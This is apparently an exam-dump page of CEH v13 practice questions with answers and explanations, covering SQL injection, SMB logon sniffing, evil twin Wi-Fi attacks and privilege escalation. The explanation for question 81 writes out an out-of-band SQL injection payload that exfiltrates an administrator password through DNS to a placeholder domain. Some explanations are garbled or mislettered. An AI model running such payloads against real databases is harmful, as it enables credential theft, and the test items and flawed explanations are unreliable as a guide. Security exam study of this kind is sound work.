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[General] 312-50v13 Reliable Exam Book | 312-50v13 Test Questions

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【General】 312-50v13 Reliable Exam Book | 312-50v13 Test Questions

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ECCouncil Certified Ethical Hacker Exam (CEHv13) Sample Questions (Q81-Q86):NEW QUESTION # 81
As an IT Security Analyst, you've been asked to review the security measures of an e-commerce website that relies on a SQL database for storing sensitive customer data. Recently, an anonymous tip has alerted you to a possible threat: a seasoned hacker who specializes in SQL Injection attacks may be targeting your system.
The site already employs input validation measures to prevent basic injection attacks, and it blocks any user inputs containing suspicious patterns. However, this hacker is known to use advanced SQL Injection techniques. Given this situation, which of the following strategies would the hacker most likely adopt to bypass your security measures?
  • A. The hacker may try to use SQL commands which are less known and less likely to be blocked by your system's security
  • B. The hacker may resort to a DDoS attack instead, attempting to crash the server and thus render the e commerce site unavailable
  • C. The hacker could deploy an 'out-of-band' SQL Injection attack, extracting data via a different communication channel, such as DNS or HTTP requests
  • D. The hacker might employ a blind' SQL Injection attack, taking advantage of the application's true or false responses to extract data bit by bit
Answer: C
Explanation:
An 'out-of-band' SQL Injection attack is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control1. This technique can be used to bypass input validation and pattern matching measures that are based on the application's responses. The attacker can use various SQL functions or commands that trigger DNS or HTTP requests, such as load_file, copy, dbms_ldap, etc., depending on the SQL server type123. By concatenating the data they want to extract with a domain name they own, the attacker can receive the data via DNS or HTTP logs. For example, the attacker can inject the following SQL query to exfiltrate the password of the administrator user from a MySQL database:
SELECT load_file(CONCAT('\\',(SELECT password FROM users WHERE username='administrator'),'.
example.com\\test.txt'))
This will cause the application to send a DNS request to the domain password.example.com, where password is the actual value of the administrator's password1.
References:
* 1: Out-of-band SQL injection | Learn AppSec | Invicti
* 2: Lab: Blind SQL injection with out-of-band interaction | Web Security Academy
* 3: SQLi part 6: Out-of-band SQLi | Acunetix

NEW QUESTION # 82
A user on your Windows 2000 network has discovered that he can use L0phtCrack to sniff the SMB exchanges which carry user logons. The user is plugged into a hub with 23 other systems.
However, he is unable to capture any logons though he knows that other users are logging in.
What do you think is the most likely reason behind this?
  • A. Windows logons cannot be sniffed.
  • B. L0phtCrack only sniffs logons to web servers.
  • C. Kerberos is preventing it.
  • D. There is a NIDS present on that segment.
Answer: C
Explanation:
Windows 2000 and newer systems use Kerberos as their default authentication protocol rather than NTLM or LM challenge/response over SMB. Kerberos is encrypted and does not rely on the older SMB logon exchange methods that L0phtCrack can sniff.
From CEH v13 Courseware:
* Module 6: Malware and Password Attacks
* Module 4: Enumeration
CEH v13 Study Guide states:
"Kerberos is the default authentication protocol in Windows 2000 and newer systems. It encrypts communication and is not vulnerable to the same sniffing attacks that work against LM/NTLM challenge- response mechanisms." Incorrect Options:
* A: While a NIDS may detect traffic, it doesn't prevent sniffing.
* C: Logons can be sniffed in older systems using NTLM.
* D: L0phtCrack does not sniff web logons-it targets SMB and Windows logins.
Reference:CEH v13 Study Guide - Module 6: Password Sniffing TechniquesMicrosoft TechNet - Overview of Kerberos Authentication

NEW QUESTION # 83
jane invites her friends Alice and John over for a LAN party. Alice and John access Jane's wireless network without a password. However. Jane has a long, complex password on her router. What attack has likely occurred?
  • A. Wireless sniffing
  • B. Piggybacking
  • C. Evil twin
  • D. Wardriving
Answer: C
Explanation:
An evil twin may be a fraudulent Wi-Fi access point that appears to be legitimate but is about up to pay attention to wireless communications.[1] The evil twin is that the wireless LAN equivalent of the phishing scam.
This type of attack could also be wont to steal the passwords of unsuspecting users, either by monitoring their connections or by phishing, which involves fixing a fraudulent internet site and luring people there.
The attacker snoops on Internet traffic employing a bogus wireless access point. Unwitting web users could also be invited to log into the attacker's server, prompting them to enter sensitive information like usernames and passwords. Often, users are unaware they need been duped until well after the incident has occurred.
When users log into unsecured (non-HTTPS) bank or e-mail accounts, the attacker intercepts the transaction, since it's sent through their equipment. The attacker is additionally ready to hook up with other networks related to the users' credentials.
Fake access points are found out by configuring a wireless card to act as an access point (known as HostAP).
they're hard to trace since they will be shut off instantly. The counterfeit access point could also be given an equivalent SSID and BSSID as a close-by Wi-Fi network. The evil twin are often configured to pass Internet traffic through to the legitimate access point while monitoring the victim's connection, or it can simply say the system is temporarily unavailable after obtaining a username and password.

NEW QUESTION # 84
Your company performs penetration tests and security assessments for small and medium-sized businesses in the local area. During a routine security assessment, you discover information that suggests your client is involved with human trafficking.
What should you do?
  • A. Ignore the data and continue the assessment until completed as agreed.
  • B. Confront the client in a respectful manner and ask her about the data.
  • C. Copy the data to removable media and keep it in case you need it.
  • D. Immediately stop work and contact the proper legal authorities.
Answer: D
Explanation:
Per CEH v13 Official Courseware - Module 01: Introduction to Ethical Hacking, ethical hackers and penetration testers are bound by legal and professional standards. When illegal activities such as human trafficking are discovered:
The ethical response is to cease operations and report the findings to the appropriate legal authorities.
Continuing work, ignoring the findings, or confronting the client personally is both unprofessional and may potentially expose the tester to legal liability.
Reference: CEH v13 eCourseware - Module 01: Introduction to Ethical Hacking # "Legal Implications and Reporting Requirements" CEH v13 Code of Conduct for Certified Ethical Hackers

NEW QUESTION # 85
A penetration tester has gained access to a target system using default credentials. What is the most effective next step to escalate privileges on the system?
  • A. Use a dictionary attack to brute-force the root password
  • B. Execute a Cross-Site Scripting (XSS) attack on the system's login page
  • C. Use a known local privilege escalation vulnerability to gain admin access
  • D. Perform a denial-of-service (DoS) attack to crash the system
Answer: C
Explanation:
Once initial access is obtained-especially through weak or default credentials-the CEH system hacking methodology directs the tester to proceed to privilege escalation. The objective is to elevate user-level access to administrative or system-level privileges so the attacker can perform unrestricted actions such as installing tools, modifying configurations, accessing protected files, and pivoting laterally. CEH materials emphasize using privilege escalation vulnerabilities, such as misconfigured services, kernel exploits, unpatched local privilege escalation flaws, weak file permissions, and token impersonation. A denial-of-service attack is counterproductive and does not support post-exploitation goals. XSS is a web application attack vector and unrelated to operating system privilege manipulation. Brute-forcing the root password is noisy, slow, and unnecessary when authenticated access is already established. Therefore, exploiting a known local privilege escalation vulnerability is the appropriate CEH-aligned next step.

NEW QUESTION # 86
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